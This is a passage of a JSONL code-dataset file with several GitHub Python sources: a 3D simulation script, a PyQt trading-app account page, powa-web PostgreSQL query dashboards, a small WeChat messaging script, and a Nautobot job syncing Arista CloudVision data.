range(data.shape[0]):\n grid_f[i] = ft(data[i,0], data[i,1], data[i,2], jsize)\n grid_sample[i] = grid_f[i] + np.random.normal(loc=0, scale=sigma) # add random Gaussian noise\n\n # now cast this data into a standard data format\n X = data.copy()\n Y = grid_sample.copy().flatten()\n u = grid_f.copy().flatten()\n\n return (X, Y, u)\n\ndef plot3D(X, Y):\n \n # Create a new figure and add a 3D subplot to it\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n # Scatter plot using the generated data. Color of each point is determined by its Y value\n scatter = ax.scatter(X[:, 0], X[:, 1], X[:, 2], c=Y, cmap='coolwarm', alpha = 0.5, s=1)\n\n # Add a colorbar to the plot\n fig.colorbar(scatter)\n\n # Label axes\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.set_zlabel('Z')\n\n return (fig, ax)\n\n\n\nif __name__ == \"__main__\":\n np.random.seed(0)\n import sys\n old_stdout = sys.stdout\n\n log_file = open(\"message.log\",\"w\")\n\n sys.stdout = log_file\n\n #-------------\n # parameters\n #-------------\n \n sigma = 0.01\n S = 32\n #----\n \n X, Y, U = generate3D(jsize = 0, sigma=sigma, N=10000)\n std = np.std(Y)\n jsize = 0.5 * std\n \n X, Y, U = generate3D(jsize = jsize, sigma=sigma, N=10000)\n\n N = Y.size\n resolution = 1/int((N*2/3)**(1/3))\n model = FDD(Y, X, level = S, lmbda = 1, nu = 0.01, iter = 5000, tol = 5e-6, resolution=resolution,\n pick_nu = \"MS\", scaled = True, scripted = False)\n \n #u, jumps, J_grid, nrj, eps, it = model.run()\n \n num_samples = 400 # 225 # 400 # 400 # 400 # 200\n R = 3 # 3 # 3 # 3 # 5\n num_gpus = 0.5\n num_cpus = 4\n res = SURE(tuner=True, num_samples=num_samples, model=model, R=R, \n num_gpus=num_gpus, num_cpus=num_cpus)\n\n file_name = '3D_SURE.pkl'\n with open(file_name, 'wb') as file:\n pickle.dump(res, file)\n \n s3 = boto3.client('s3')\n with open(file_name, \"rb\") as f:\n s3.upload_fileobj(f, \"ipsos-dvd\", \"fdd/data/3D_SURE.pkl\")\n \n # flatten all but last dimension of grid_x\n #grid_x = model.grid_x.reshape(-1, model.grid_x.shape[-1])\n \n #plot3D(grid_x, J_grid.flatten())\n \n ","repo_name":"Davidvandijcke/fdd","sub_path":"src/analysis/simulations_3d.py","file_name":"simulations_3d.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33657321652","text":"from PyQt5.QtWidgets import QApplication, QInputDialog, QWidget, QPushButton, QMessageBox\nfrom PyQt5 import QtWidgets, uic\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtCore import Qt\nfrom pys.Account_UI import Ui_Form\nfrom SqlTrade import MySQL_Trade\nimport sys\nimport globalData as gl\nclass Accountpage(QtWidgets.QMainWindow):\n def __init__(self):\n super().__init__()\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n self.ui.Back_btn.clicked.connect(self.back_to_main)\n self.ui.Bought_btn.clicked.connect(self.bought)\n self.ui.Sold_btn.clicked.connect(self.sold)\n self.ui.Recharge_btn.clicked.connect(self.recharge)\n self.ui.Logoff.clicked.connect(self.logoff)\n self.ui.label.setPixmap(QPixmap(\"uis/image/头像.jpg\"))\n self.ui.label_7.setPixmap(QPixmap(\"uis/image/我发布的.png\"))\n self.ui.label_8.setPixmap(QPixmap(\"uis/image/我卖出的.png\"))\n\n self.query = MySQL_Trade()\n self.ui.retranslateUi(self)\n username = gl.get_value(\"user_name\")\n balance = self.query.get_balance(gl.get_value(\"user_id\"))\n if username != None:\n self.ui.label_2.setText(\"用户名:\"+username)\n else:\n self.ui.label_2.setText(\"找不到用户名\")\n \n self.ui.balance.setText(\"余额:\"+str(balance))\n\n def sold(self):\n import ManageProducts\n self.deleteLater()\n self.cams = ManageProducts.ManageProd()\n self.cams.show()\n \n def bought(self):\n import Boughthistory\n self.deleteLater()\n self.cams = Boughthistory.Boughtpage()\n self.cams.show()\n\n def recharge(self):\n '''import Rechargepage\n self.deleteLater()\n self.cams = Rechargepage.Rechargepage()\n self.cams.show()'''\n usr = gl.get_value(\"user_id\")\n origin = float(self.query.get_balance(usr))\n d,okPressed = QInputDialog.getDouble(self,\"输入充值金额\",\"金额:\",100,0,999999.99,2)\n if okPressed:\n d = float(d)\n if(d + origin) > 999999.99:\n QtWidgets.QMessageBox().critical(self, \"Error\", \"充值金额超上限\",\n QtWidgets.QMessageBox().Ok)\n else:\n t = d + origin\n self.query.set_balance(usr, t)\n #print(self.query.get_balance(usr))\n balance = self.query.get_balance(gl.get_value(\"user_id\"))\n self.ui.balance.setText(\"余额:\"+str(balance))\n\n def logoff(self):\n import LogSgn\n msg = QMessageBox.question(self, '提示', '是否登出?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n if msg == QMessageBox.Yes:\n self.query.close_connect()\n self.deleteLater()\n self.cams = LogSgn.LoginWindow()\n self.cams.show()\n else:\n pass\n\n def back_to_main(self):\n import Mainpage\n self.query.close_connect()\n self.deleteLater()\n self.cams = Mainpage.Mainpage()\n self.cams.show()\n\nimport sys\nif __name__ == '__main__':\n gl._init()\n gl.set_value(\"user_id\",4)\n app = QApplication(sys.argv)\n window = Accountpage()\n window.show()\n app.exec()","repo_name":"ZengSx-L/ShanghaitechCS132","sub_path":"Code/Project/Accountpage.py","file_name":"Accountpage.py","file_ext":"py","file_size_in_byte":3251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"33702174530","text":"\"\"\"\nDashboard for the by-query page.\n\"\"\"\n\nfrom tornado.web import HTTPError\nfrom sqlalchemy.sql import (\n bindparam, text, column, select,\n case, cast, and_,\n func, extract)\nfrom sqlalchemy.sql.functions import sum\nfrom sqlalchemy.types import Numeric\nfrom sqlalchemy.orm import outerjoin\n\nfrom powa.dashboards import (\n Dashboard, TabContainer, Graph, Grid,\n MetricGroupDef, MetricDef,\n DashboardPage, ContentWidget)\nfrom powa.database import DatabaseOverview\n\nfrom powa.sql import (Plan, format_jumbled_query, resolve_quals,\n qualstat_get_figures, get_hypoplans, get_any_sample_query,\n possible_indexes)\nfrom powa.sql.views import (powa_getstatdata_sample,\n powa_getwaitdata_sample,\n kcache_getstatdata_sample,\n powa_getstatdata_detailed_db,\n powa_getwaitdata_detailed_db,\n qualstat_getstatdata)\nfrom powa.sql.utils import (block_size, mulblock, greatest, least,\n to_epoch, inner_cc)\nfrom powa.sql.tables import powa_statements\n\n\nclass QueryOverviewMetricGroup(MetricGroupDef):\n \"\"\"\n Metric Group for the graphs on the by query page.\n \"\"\"\n name = \"query_overview\"\n xaxis = \"ts\"\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)\"\n rows = MetricDef(label=\"#Rows\")\n calls = MetricDef(label=\"#Calls\")\n shared_blks_read = MetricDef(label=\"Shared read\", type=\"sizerate\")\n shared_blks_hit = MetricDef(label=\"Shared hit\", type=\"sizerate\")\n shared_blks_dirtied = MetricDef(label=\"Shared dirtied\", type=\"sizerate\")\n shared_blks_written = MetricDef(label=\"Shared written\", type=\"sizerate\")\n local_blks_read = MetricDef(label=\"Local read\", type=\"sizerate\")\n local_blks_hit = MetricDef(label=\"Local hit\", type=\"sizerate\")\n local_blks_dirtied = MetricDef(label=\"Local dirtied\", type=\"sizerate\")\n local_blks_written = MetricDef(label=\"Local written\", type=\"sizerate\")\n temp_blks_read = MetricDef(label=\"Temp read\", type=\"sizerate\")\n temp_blks_written = MetricDef(label=\"Temp written\", type=\"sizerate\")\n blk_read_time = MetricDef(label=\"Read time\", type=\"duration\")\n blk_write_time = MetricDef(label=\"Write time\", type=\"duration\")\n avg_runtime = MetricDef(label=\"Avg runtime\", type=\"duration\")\n reads = MetricDef(label=\"Physical read\", type=\"sizerate\")\n writes = MetricDef(label=\"Physical writes\", type=\"sizerate\")\n user_time = MetricDef(label=\"CPU user time / Query time\", type=\"percent\")\n system_time = MetricDef(label=\"CPU system time / Query time\", type=\"percent\",\n )\n other_time = MetricDef(label=\"CPU other time / Query time\", type=\"percent\")\n hit_ratio = MetricDef(label=\"Shared buffers hit ratio\", type=\"percent\")\n miss_ratio = MetricDef(label=\"Shared buffers miss ratio\", type=\"percent\")\n sys_hit_ratio = MetricDef(label=\"System cache hit ratio\", type=\"percent\")\n disk_hit_ratio = MetricDef(label=\"Disk hit ratio\", type=\"percent\")\n\n @classmethod\n def _get_metrics(cls, handler, **params):\n base = cls.metrics.copy()\n if not handler.has_extension(\"pg_stat_kcache\"):\n for key in (\"reads\", \"writes\", \"user_time\", \"system_time\",\n \"other_time\",\n \"sys_hit_ratio\", \"disk_hit_ratio\"):\n base.pop(key)\n else:\n base.pop(\"miss_ratio\")\n\n return base\n\n @property\n def query(self):\n query = powa_getstatdata_sample(\"query\")\n query = query.where(\n (column(\"datname\") == bindparam(\"database\")) &\n (column(\"queryid\") == bindparam(\"query\")))\n query = query.alias()\n c = query.c\n total_blocks = ((c.shared_blks_read + c.shared_blks_hit)\n .label(\"total_blocks\"))\n\n def bps(col):\n ts = extract(\"epoch\", greatest(c.mesure_interval, '1 second'))\n return (mulblock(col) / ts).label(col.name)\n cols = [to_epoch(c.ts),\n c.rows,\n c.calls,\n case([(total_blocks == 0, 0)],\n else_=cast(c.shared_blks_hit, Numeric) * 100 /\n total_blocks).label(\"hit_ratio\"),\n bps(c.shared_blks_read),\n bps(c.shared_blks_hit),\n bps(c.shared_blks_dirtied),\n bps(c.shared_blks_written),\n bps(c.local_blks_read),\n bps(c.local_blks_hit),\n bps(c.local_blks_dirtied),\n bps(c.local_blks_written),\n bps(c.temp_blks_read),\n bps(c.temp_blks_written),\n c.blk_read_time,\n c.blk_write_time,\n (c.runtime / greatest(c.calls, 1)).label(\"avg_runtime\")]\n\n from_clause = query\n if self.has_extension(\"pg_stat_kcache\"):\n # Add system metrics from pg_stat_kcache,\n # and detailed hit ratio.\n kcache_query = kcache_getstatdata_sample()\n kc = inner_cc(kcache_query)\n kcache_query = (\n kcache_query\n .where(kc.queryid == bindparam(\"query\"))\n .alias())\n kc = kcache_query.c\n sys_hits = (greatest(mulblock(c.shared_blks_read) -\n kc.reads, 0)\n .label(\"kcache_hitblocks\"))\n sys_hitratio = (cast(sys_hits, Numeric) * 100 /\n mulblock(total_blocks))\n disk_hit_ratio = (kc.reads /\n mulblock(total_blocks))\n total_time = greatest(c.runtime, 1);\n # Rusage can return values > real time due to sampling bias\n # aligned to kernel ticks. As such, we have to clamp values to 100%\n total_time_percent = lambda x: least(100, (x * 100) /\n total_time)\n cols.extend([\n kc.reads,\n kc.writes,\n total_time_percent(kc.user_time * 1000).label(\"user_time\"),\n total_time_percent(kc.system_time * 1000).label(\"system_time\"),\n greatest(total_time_percent(\n c.runtime - (kc.user_time + kc.system_time) *\n 1000), 0).label(\"other_time\"),\n case([(total_blocks == 0, 0)],\n else_=disk_hit_ratio).label(\"disk_hit_ratio\"),\n case([(total_blocks == 0, 0)],\n else_=sys_hitratio).label(\"sys_hit_ratio\")])\n from_clause = from_clause.join(\n kcache_query,\n kcache_query.c.ts == c.ts)\n else:\n cols.extend([\n case([(total_blocks == 0, 0)],\n else_=cast(c.shared_blks_read, Numeric) * 100 /\n total_blocks).label(\"miss_ratio\")\n ])\n\n return (select(cols)\n .select_from(from_clause)\n .where(c.calls != None)\n .order_by(c.ts)\n .params(samples=100))\n\n\nclass QueryIndexes(ContentWidget):\n \"\"\"\n Content widget showing index creation suggestion.\n \"\"\"\n\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)/indexes\"\n title = \"Query Indexes\"\n\n def get(self, database, query):\n if not self.has_extension(\"pg_qualstats\"):\n raise HTTPError(501, \"PG qualstats is not installed\")\n base_query = qualstat_getstatdata()\n c = inner_cc(base_query)\n base_query.append_from(text(\"\"\"LATERAL unnest(quals) as qual\"\"\"))\n base_query = (base_query\n .where(c.queryid == query)\n .having(func.bool_or(column('eval_type') == 'f'))\n .having(c.execution_count > 1000)\n .having(c.occurences > 0)\n .having(c.filter_ratio > 0.5)\n .params(**{'from': '-infinity',\n 'to': 'infinity'}))\n optimizable = list(self.execute(base_query, params={'query': query}))\n optimizable = resolve_quals(self.connect(database=database),\n optimizable,\n 'quals')\n hypoplan = None\n indexes = {}\n for qual in optimizable:\n indexes[qual.where_clause] = possible_indexes(qual)\n hypo_version = self.has_extension(\"hypopg\", database=database)\n if indexes and hypo_version and hypo_version >= \"0.0.3\":\n # identify indexes\n # create them\n allindexes = [ind for indcollection in indexes.values()\n for ind in indcollection]\n for ind in allindexes:\n ddl = ind.hypo_ddl\n if ddl is not None:\n ind.name = self.execute(ddl, database=database).scalar()\n # Build the query and fetch the plans\n querystr = get_any_sample_query(self, database, query,\n self.get_argument(\"from\"),\n self.get_argument(\"to\"))\n try:\n hypoplan = get_hypoplans(self.connect(database=database), querystr,\n allindexes)\n except:\n # TODO: offer the possibility to fill in parameters from the UI\n self.flash(\"We couldn't get plans for this query, presumably \"\n \"because some parameters are missing \")\n\n self.render(\"database/query/indexes.html\", indexes=indexes,\n hypoplan=hypoplan)\n\n\nclass QueryExplains(ContentWidget):\n \"\"\"\n Content widget showing explain plans for various const values.\n \"\"\"\n title = \"Query Explains\"\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)/explains\"\n\n def get(self, database, query):\n if not self.has_extension(\"pg_qualstats\"):\n raise HTTPError(501, \"PG qualstats is not installed\")\n\n plans = []\n row = qualstat_get_figures(self, database,\n self.get_argument(\"from\"),\n self.get_argument(\"to\"),\n queries=[query])\n if row != None:\n for key in ('most filtering', 'least filtering', 'most executed', 'most used'):\n vals = row[key]\n query = format_jumbled_query(row['query'], vals['constants'])\n plan = \"N/A\"\n try:\n sqlQuery = text(\"EXPLAIN %s\" % query)\n result = self.execute(sqlQuery,\n database=database)\n plan = \"\\n\".join(v[0] for v in result)\n except:\n pass\n plans.append(Plan(key, vals['constants'], query,\n plan, vals[\"filter_ratio\"],\n vals['execution_count'],\n vals['occurences']))\n if len(plans) == 0:\n self.flash(\"No quals found for this query\", \"warning\")\n self.render(\"xhr.html\", content=\"\")\n return\n\n self.render(\"database/query/explains.html\", plans=plans)\n\n\nclass WaitsQueryOverviewMetricGroup(MetricGroupDef):\n \"\"\"\n Metric Group for the wait event graph on the by query page.\n \"\"\"\n name = \"waits_query_overview\"\n xaxis = \"ts\"\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)/wait_events_sampled\"\n # pg 9.6 only metrics\n count_lwlocknamed = MetricDef(label=\"Lightweight Named\")\n count_lwlocktranche = MetricDef(label=\"Lightweight Tranche\")\n # pg 10+ metrics\n count_lwlock = MetricDef(label=\"Lightweight Lock\")\n count_lock = MetricDef(label=\"Lock\")\n count_bufferpin = MetricDef(label=\"Buffer pin\")\n count_activity = MetricDef(label=\"Activity\")\n count_client = MetricDef(label=\"Client\")\n count_extension = MetricDef(label=\"Extension\")\n count_ipc = MetricDef(label=\"IPC\")\n count_timeout = MetricDef(label=\"Timeout\")\n count_io = MetricDef(label=\"IO\")\n\n def prepare(self):\n if not self.has_extension(\"pg_wait_sampling\"):\n raise HTTPError(501, \"pg_wait_sampling is not installed\")\n\n @property\n def query(self):\n\n query = powa_getwaitdata_sample(\"query\")\n query = query.where(\n (column(\"datname\") == bindparam(\"database\")) &\n (column(\"queryid\") == bindparam(\"query\")))\n query = query.alias()\n c = query.c\n\n def wps(col):\n ts = extract(\"epoch\", greatest(c.mesure_interval, '1 second'))\n return (col / ts).label(col.name)\n\n cols = [to_epoch(c.ts)]\n\n pg_version_num = self.get_pg_version_num()\n if pg_version_num < 100000:\n cols += [wps(c.count_lwlocknamed), wps(c.count_lwlocktranche),\n wps(c.count_lock), wps(c.count_bufferpin)]\n else:\n cols += [wps(c.count_lwlock), wps(c.count_lock),\n wps(c.count_bufferpin), wps(c.count_activity),\n wps(c.count_client), wps(c.count_extension),\n wps(c.count_ipc), wps(c.count_timeout), wps(c.count_io)]\n\n from_clause = query\n\n return (select(cols)\n .select_from(from_clause)\n #.where(c.count != None)\n .order_by(c.ts)\n .params(samples=100))\n\nclass WaitSamplingList(MetricGroupDef):\n \"\"\"\n Datasource used for the wait events grid.\n \"\"\"\n name = \"query_wait_events\"\n xaxis = \"event\"\n axis_type = \"category\"\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)/wait_events\"\n counts = MetricDef(label=\"# of events\", type=\"integer\", direction=\"descending\")\n\n def prepare(self):\n if not self.has_extension(\"pg_wait_sampling\"):\n raise HTTPError(501, \"pg_wait_sampling is not installed\")\n\n @property\n def query(self):\n # Working from the waitdata detailed_db base query\n inner_query = powa_getwaitdata_detailed_db()\n inner_query = inner_query.alias()\n c = inner_query.c\n ps = powa_statements\n\n columns = [c.queryid,\n ps.c.query,\n c.event_type,\n c.event,\n sum(c.count).label(\"counts\")]\n from_clause = inner_query.join(ps,\n (ps.c.queryid == c.queryid) &\n (ps.c.dbid == c.dbid))\n return (select(columns)\n .select_from(from_clause)\n .where((c.datname == bindparam(\"database\")) &\n (c.queryid == bindparam(\"query\")))\n .group_by(c.queryid, ps.c.query, c.event_type, c.event)\n .order_by(sum(c.count).desc()))\n\n\nclass QualList(MetricGroupDef):\n \"\"\"\n Datasource used for the Qual table.\n \"\"\"\n name = \"query_quals\"\n xaxis = \"relname\"\n axis_type = \"category\"\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)/quals\"\n filter_ratio = MetricDef(label=\"Avg filter_ratio (excluding index)\", type=\"percent\")\n execution_count = MetricDef(label=\"Execution count (excluding index)\")\n\n def prepare(self):\n if not self.has_extension(\"pg_qualstats\"):\n raise HTTPError(501, \"PG qualstats is not installed\")\n\n @property\n def query(self):\n base = qualstat_getstatdata()\n c = inner_cc(base)\n return (base.where(c.queryid == bindparam(\"query\")))\n\n def post_process(self, data, database, query, **kwargs):\n conn = self.connect(database=database)\n data[\"data\"] = resolve_quals(conn, data[\"data\"])\n for qual in data[\"data\"]:\n qual.url = self.reverse_url('QualOverview', database, query,\n qual.qualid)\n return data\n\n\nclass QueryDetail(ContentWidget):\n \"\"\"\n Detail widget showing summarized information for the query.\n \"\"\"\n title = \"Query Detail\"\n data_url = r\"/metrics/database/([^\\/]+)/query/(-?\\d+)/detail\"\n\n def get(self, database, query):\n bs = block_size.c.block_size\n stmt = powa_getstatdata_detailed_db()\n stmt = stmt.where(\n (column(\"datname\") == bindparam(\"database\")) &\n (column(\"queryid\") == bindparam(\"query\")))\n stmt = stmt.alias()\n from_clause = outerjoin(powa_statements, stmt,\n and_(powa_statements.c.queryid == stmt.c.queryid, powa_statements.c.dbid == stmt.c.dbid))\n c = stmt.c\n rblk = mulblock(sum(c.shared_blks_read).label(\"shared_blks_read\"))\n wblk = mulblock(sum(c.shared_blks_hit).label(\"shared_blks_hit\"))\n stmt = (select([\n column(\"query\"),\n sum(c.calls).label(\"calls\"),\n sum(c.runtime).label(\"runtime\"),\n rblk,\n wblk,\n (rblk + wblk).label(\"total_blks\")])\n .select_from(from_clause)\n .where(powa_statements.c.queryid == bindparam(\"query\"))\n .group_by(column(\"query\"), bs))\n\n value = self.execute(stmt, params={\n \"query\": query,\n \"database\": database,\n \"from\": self.get_argument(\"from\"),\n \"to\": self.get_argument(\"to\")\n })\n if value.rowcount < 1:\n self.render(\"xhr.html\", content=\"No data\")\n return\n self.render(\"database/query/detail.html\", stats=value.first())\n\n\nclass QueryOverview(DashboardPage):\n \"\"\"\n Dashboard page for a query.\n \"\"\"\n base_url = r\"/database/([^\\/]+)/query/(-?\\d+)/overview\"\n params = [\"database\", \"query\"]\n datasources = [QueryOverviewMetricGroup, WaitsQueryOverviewMetricGroup,\n QueryDetail, QueryExplains, QueryIndexes, WaitSamplingList,\n QualList]\n parent = DatabaseOverview\n title = 'Query Overview'\n\n @property\n def dashboard(self):\n # This COULD be initialized in the constructor, but tornado < 3 doesn't\n # call it\n if getattr(self, '_dashboard', None) is not None:\n return self._dashboard\n hit_ratio_graph = Graph(\"Hit ratio\",\n metrics=[QueryOverviewMetricGroup.hit_ratio],\n renderer=\"bar\",\n stack=True,\n color_scheme=['#73c03a','#65b9ac','#cb513a'])\n dashes = []\n dashes.append(Dashboard(\"Query detail\",\n [[Graph(\"General\",\n metrics=[QueryOverviewMetricGroup.avg_runtime,\n QueryOverviewMetricGroup.rows,\n QueryOverviewMetricGroup.calls ])]]))\n dashes.append(Dashboard(\n \"PG Cache\",\n [[Graph(\"Shared block (in Bps)\",\n metrics=[QueryOverviewMetricGroup.shared_blks_read,\n QueryOverviewMetricGroup.shared_blks_hit,\n QueryOverviewMetricGroup.shared_blks_dirtied,\n QueryOverviewMetricGroup.shared_blks_written]),\n Graph(\"Local block (in Bps)\",\n metrics=[QueryOverviewMetricGroup.local_blks_read,\n QueryOverviewMetricGroup.local_blks_hit,\n QueryOverviewMetricGroup.local_blks_dirtied,\n QueryOverviewMetricGroup.local_blks_written]),\n Graph(\"Temp block (in Bps)\",\n metrics=[QueryOverviewMetricGroup.temp_blks_read,\n QueryOverviewMetricGroup.temp_blks_written])]]))\n iodash = Dashboard(\"IO\",\n [[hit_ratio_graph,\n Graph(\"Read / Write time\",\n metrics=[QueryOverviewMetricGroup.blk_read_time,\n QueryOverviewMetricGroup.blk_write_time])]])\n dashes.append(iodash)\n if self.has_extension(\"pg_stat_kcache\"):\n iodash.widgets.extend([[\n Graph(\"Physical block (in Bps)\",\n metrics=[QueryOverviewMetricGroup.reads,\n QueryOverviewMetricGroup.writes]),\n Graph(\"CPU Time repartition\",\n metrics=[QueryOverviewMetricGroup.user_time,\n QueryOverviewMetricGroup.system_time,\n QueryOverviewMetricGroup.other_time],\n renderer=\"bar\",\n stack=True,\n color_scheme=['#73c03a','#cb513a','#65b9ac'])]])\n hit_ratio_graph.metrics.append(\n QueryOverviewMetricGroup.sys_hit_ratio)\n hit_ratio_graph.metrics.append(\n QueryOverviewMetricGroup.disk_hit_ratio)\n else:\n hit_ratio_graph.metrics.append(\n QueryOverviewMetricGroup.miss_ratio)\n\n if self.has_extension(\"pg_wait_sampling\"):\n # Get the metrics depending on the pg server version\n metrics=None\n if self.get_pg_version_num() < 100000:\n metrics=[WaitsQueryOverviewMetricGroup.count_lwlocknamed,\n WaitsQueryOverviewMetricGroup.count_lwlocktranche,\n WaitsQueryOverviewMetricGroup.count_lock,\n WaitsQueryOverviewMetricGroup.count_bufferpin]\n else:\n metrics=[WaitsQueryOverviewMetricGroup.count_lwlock,\n WaitsQueryOverviewMetricGroup.count_lock,\n WaitsQueryOverviewMetricGroup.count_bufferpin,\n WaitsQueryOverviewMetricGroup.count_activity,\n WaitsQueryOverviewMetricGroup.count_client,\n WaitsQueryOverviewMetricGroup.count_extension,\n WaitsQueryOverviewMetricGroup.count_ipc,\n WaitsQueryOverviewMetricGroup.count_timeout,\n WaitsQueryOverviewMetricGroup.count_io]\n dashes.append(Dashboard(\"Wait Events\",\n [[Graph(\"Wait Events (per second)\",\n metrics=metrics),\n Grid(\"Wait events summary\",\n columns=[{\n \"name\": \"event_type\",\n \"label\": \"Event Type\",\n }, {\n \"name\": \"event\",\n \"label\": \"Event\",\n }],\n metrics=WaitSamplingList.all())]]))\n\n if self.has_extension(\"pg_qualstats\"):\n dashes.append(Dashboard(\"Predicates\",\n [[\n Grid(\"Predicates used by this query\",\n columns=[{\n \"name\": \"where_clause\",\n \"label\": \"Predicate\",\n \"type\": \"query\",\n \"max_length\": 60,\n \"url_attr\": \"url\"\n }],\n metrics=QualList.all())],\n [QueryIndexes],\n [QueryExplains]]))\n self._dashboard = Dashboard(\"Query %(query)s on database %(database)s\",\n [[QueryDetail], [\n TabContainer(\"Query %(query)s on database %(database)s\",\n dashes)]])\n return self._dashboard\n","repo_name":"anayrat/powa-web","sub_path":"powa/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":23494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"12976873345","text":"import itchat\r\nimport time\r\n\r\ndef lc():\r\n print(\"Finish Login\")\r\ndef ec():\r\n print(\"exit\")\r\n\r\nitchat.auto_login(hotReload=True,loginCallback=lc, exitCallback=ec) #扫码登录\r\n#time.sleep()\r\n#itchat.logout() #强制退出登录\r\n#users=itchat.search_friends(\"赵宇灏\")\r\n#userName= users[0]['UserName']\r\nusers=itchat.search_chatrooms(name='测试')\r\nuserName= users[0]['UserName']\r\n\r\nprint(userName)\r\nfor i in range(5): \r\n itchat.send(msg=str(i),toUserName=userName)\r\n#check=itchat.check_login()\r\n#print(check)\r\n\r\n","repo_name":"frozen3bits/python","sub_path":"微信私聊.py","file_name":"微信私聊.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16107046117","text":"# pylint: disable=invalid-name,too-few-public-methods\n\"\"\"Jobs for CloudVision integration with SSoT plugin.\"\"\"\nfrom django.templatetags.static import static\nfrom django.urls import reverse\n\nfrom nautobot.dcim.models import DeviceType\nfrom nautobot.extras.jobs import Job, BooleanVar\nfrom nautobot.core.utils.lookup import get_route_for_model\nfrom nautobot_ssot.jobs.base import DataTarget, DataSource, DataMapping\n\nfrom nautobot_ssot.integrations.aristacv.constant import APP_SETTINGS\nfrom nautobot_ssot.integrations.aristacv.diffsync.adapters.cloudvision import CloudvisionAdapter\nfrom nautobot_ssot.integrations.aristacv.diffsync.adapters.nautobot import NautobotAdapter\nfrom nautobot_ssot.integrations.aristacv.diffsync.models import nautobot\nfrom nautobot_ssot.integrations.aristacv.utils.cloudvision import CloudvisionApi\n\n\nname = \"SSoT - Arista CloudVision\" # pylint: disable=invalid-name\n\n\nclass CloudVisionDataSource(DataSource, Job): # pylint: disable=abstract-method\n \"\"\"CloudVision SSoT Data Source.\"\"\"\n\n debug = BooleanVar(description=\"Enable for more verbose debug logging\")\n\n class Meta:\n \"\"\"Meta data for DataSource.\"\"\"\n\n name = \"CloudVision ⟹ Nautobot\"\n data_source = \"Cloudvision\"\n data_source_icon = static(\"nautobot_ssot_aristacv/cvp_logo.png\")\n description = \"Sync system tag data from CloudVision to Nautobot\"\n\n @classmethod\n def config_information(cls):\n \"\"\"Dictionary describing the configuration of this DataSource.\"\"\"\n if APP_SETTINGS.get(\"cvp_host\"):\n server_type = \"On prem\"\n host = APP_SETTINGS.get(\"cvp_host\")\n else:\n server_type = \"CVaaS\"\n host = APP_SETTINGS.get(\"cvaas_url\")\n return {\n \"Server type\": server_type,\n \"CloudVision host\": host,\n \"Username\": APP_SETTINGS.get(\"cvp_user\"),\n \"Verify\": str(APP_SETTINGS.get(\"verify\")),\n \"Delete devices on sync\": APP_SETTINGS.get(\n \"delete_devices_on_sync\", str(nautobot.DEFAULT_DELETE_DEVICES_ON_SYNC)\n ),\n \"New device default site\": APP_SETTINGS.get(\"from_cloudvision_default_site\", nautobot.DEFAULT_SITE),\n \"New device default role\": APP_SETTINGS.get(\n \"from_cloudvision_default_device_role\", nautobot.DEFAULT_DEVICE_ROLE\n ),\n \"New device default role color\": APP_SETTINGS.get(\n \"from_cloudvision_default_device_role_color\", nautobot.DEFAULT_DEVICE_ROLE_COLOR\n ),\n \"Apply import tag\": str(APP_SETTINGS.get(\"apply_import_tag\", nautobot.APPLY_IMPORT_TAG)),\n \"Import Active\": str(APP_SETTINGS.get(\"import_active\", \"True\"))\n # Password and Token are intentionally omitted!\n }\n\n @classmethod\n def data_mappings(cls):\n \"\"\"List describing the data mappings involved in this DataSource.\"\"\"\n return (\n DataMapping(\"topology_network_type\", None, \"Topology Network Type\", None),\n DataMapping(\"mlag\", None, \"MLAG\", None),\n DataMapping(\"mpls\", None, \"mpls\", None),\n DataMapping(\"model\", None, \"Device Type\", reverse(get_route_for_model(DeviceType, \"list\"))),\n DataMapping(\"systype\", None, \"systype\", None),\n DataMapping(\"serialnumber\", None, \"Device Serial Number\", None),\n DataMapping(\"pimbidir\", None, \"pimbidir\", None),\n DataMapping(\"sflow\", None, \"sFlow\", None),\n DataMapping(\"eostrain\", None, \"eostrain\", None),\n DataMapping(\"tapagg\", None, \"tapagg\", None),\n DataMapping(\"pim\", None, \"pim\", None),\n DataMapping(\"bgp\", None, \"bgp\", None),\n DataMapping(\"terminattr\", None, \"TerminAttr Version\", None),\n DataMapping(\"ztp\", None, \"ztp\", None),\n DataMapping(\"eos\", None, \"EOS Version\", None),\n DataMapping(\"topology_type\", None, \"Topology Type\", None),\n )\n\n def load_source_adapter(self):\n \"\"\"Load data from CloudVision into DiffSync models.\"\"\"\n if self.debug:\n if APP_SETTINGS.get(\"delete_devices_on_sync\"):\n self.logger.warning(\n \"Devices not present in Cloudvision but present in Nautobot will be deleted from Nautobot.\"\n )\n else:\n self.logger.warning(\n \"Devices not present in Cloudvision but present in Nautobot will not be deleted from Nautobot.\"\n )\n self.logger.info(\"Connecting to CloudVision\")\n with CloudvisionApi(\n cvp_host=APP_SETTINGS[\"cvp_host\"],\n cvp_port=APP_SETTINGS.get(\"cvp_port\", \"8443\"),\n verify=APP_SETTINGS[\"verify\"],\n username=APP_SETTINGS[\"cvp_user\"],\n password=APP_SETTINGS[\"cvp_password\"],\n cvp_token=APP_SETTINGS[\"cvp_token\"],\n ) as client:\n self.logger.info(\"Loading data from CloudVision\")\n self.source_adapter = CloudvisionAdapter(job=self, conn=client)\n self.source_adapter.load()\n\n def load_target_adapter(self):\n \"\"\"Load data from Nautobot into DiffSync models.\"\"\"\n self.logger.info(\"Loading data from Nautobot\")\n self.target_adapter = NautobotAdapter(job=self)\n self.target_adapter.load()\n\n\nclass 